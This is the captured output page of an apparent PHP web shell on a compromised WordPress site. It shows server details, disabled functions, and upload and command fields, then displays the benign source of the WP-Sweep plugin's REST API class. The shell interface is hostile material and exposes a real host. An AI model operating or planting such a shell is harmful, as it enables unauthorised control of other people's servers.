403Webshell
Server IP : 217.11.249.137  /  Your IP : 216.73.216.64
Web Server : Apache
System : FreeBSD triton.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-a3d32f9e6 GENERIC amd64
User : www ( 80)
PHP Version : 8.1.32
Disable Function : ini_restore, show_source, socket_select, socket_create_listen, socket_create_pair, socket_listen, socket_strerror, shell_exec, proc_nice, proc_terminate, readlink, symlink, link, pfsocketopen, ini_alter, dl, pcntl_exec, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifsignaled, pcntl_wifstoped, pcntl_wifstopsig, pcntl_wtermsig, socket_accept, socket_bind, socket_create, socket_create_listen, popen, zlib_decode
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /data/www/26528/proliving_cz/www/wp-content/plugins/wp-sweep/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/www/26528/proliving_cz/www/wp-content/plugins/wp-sweep/inc/class-wpsweep-api.php
<?php
/**
 * WP-Sweep WP-API
 *
 * @package wp-sweep
 */

/**
 * Class WPSweep_Api
 */
class WPSweep_Api {
	/**
	 * WP-Sweep WP Rest API namespace
	 *
	 * @var string
	 */
	private $namespace = 'sweep/v1';

	/**
	 * List of sweeps
	 *
	 * @var array
	 */
	private $sweeps = array(
		'revisions',
		'auto_drafts',
		'deleted_posts',
		'unapproved_comments',
		'spam_comments',
		'deleted_comments',
		'transient_options',
		'orphan_postmeta',
		'orphan_commentmeta',
		'orphan_usermeta',
		'orphan_termmeta',
		'orphan_term_relationships',
		'unused_terms',
		'duplicated_postmeta',
		'duplicated_commentmeta',
		'duplicated_usermeta',
		'duplicated_termmeta',
		'optimize_database',
		'oembed_postmeta',
	);

	/**
	 * Register WP-Sweep API Routes
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @return void
	 */
	public function __construct() {
		add_action(
			'rest_api_init', function() {
				register_rest_route(
					$this->namespace, 'count/(?P<name>\w+)', array(
						'methods'             => WP_REST_Server::READABLE,
						'callback'            => array( $this, 'count' ),
						'permission_callback' => array( $this, 'permission_check' ),
						'args'                => array(
							'name' => array(
								'required'          => true,
								'validate_callback' => array( $this, 'is_sweep_name_valid' ),
							),
						),
					)
				);
				register_rest_route(
					$this->namespace, 'details/(?P<name>\w+)', array(
						'methods'             => WP_REST_Server::READABLE,
						'callback'            => array( $this, 'details' ),
						'permission_callback' => array( $this, 'permission_check' ),
						'args'                => array(
							'name' => array(
								'required'          => true,
								'validate_callback' => array( $this, 'is_sweep_name_valid' ),
							),
						),
					)
				);
				register_rest_route(
					$this->namespace, 'sweep/(?P<name>\w+)', array(
						'methods'             => WP_REST_Server::DELETABLE,
						'callback'            => array( $this, 'sweep' ),
						'permission_callback' => array( $this, 'permission_check' ),
						'args'                => array(
							'name' => array(
								'required'          => true,
								'validate_callback' => array( $this, 'is_sweep_name_valid' ),
							),
						),
					)
				);
			}
		);
	}
	/**
	 * Sweep item count
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @param WP_REST_Request $request Request.
	 * @return WP_REST_Response
	 */
	public function count( $request ) {
		$params = $request->get_params();

		$sweep = WPSweep::get_instance();
		$count = (int) $sweep->count( $params['name'] );

		return new WP_REST_Response(
			array(
				'name'  => $params['name'],
				'count' => $count,
			)
		);
	}

	/**
	 * Sweep details
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @param WP_REST_Request $request Request.
	 * @return WP_REST_Response
	 */
	public function details( $request ) {
		$params = $request->get_params();

		$sweep   = WPSweep::get_instance();
		$details = $sweep->details( $params['name'] );

		return new WP_REST_Response(
			array(
				'name'  => $params['name'],
				'count' => count( $details ),
				'data'  => $details,
			)
		);
	}

	/**
	 * Lets do the sweeping
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @param WP_REST_Request $request Request.
	 * @return WP_REST_Response
	 */
	public function sweep( $request ) {
		$params = $request->get_params();

		$sweep   = WPSweep::get_instance();
		$results = $sweep->sweep( $params['name'] );

		return new WP_REST_Response(
			array(
				'success' => ! empty( $results ),
				'name'    => $params['name'],
				'message' => empty( $results ) ? __( 'No items left to sweep.', 'wp-sweep' ) : $results,
			)
		);
	}

	/**
	 * Check whether a sweep is valid
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @param string $name Sweep name.
	 * @return bool Is the sweep name valid?
	 */
	public function is_sweep_name_valid( $name ) {
		return in_array( $name, $this->sweeps, true );
	}

	/**
	 * Check whether the function is allowed to be run. Must have either capabilities to enact action, or a valid nonce.
	 *
	 * @since 1.1.0
	 *
	 * @access public
	 * @return bool Does the user has access to sweep?
	 */
	public function permission_check() {
		return current_user_can( 'activate_plugins' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit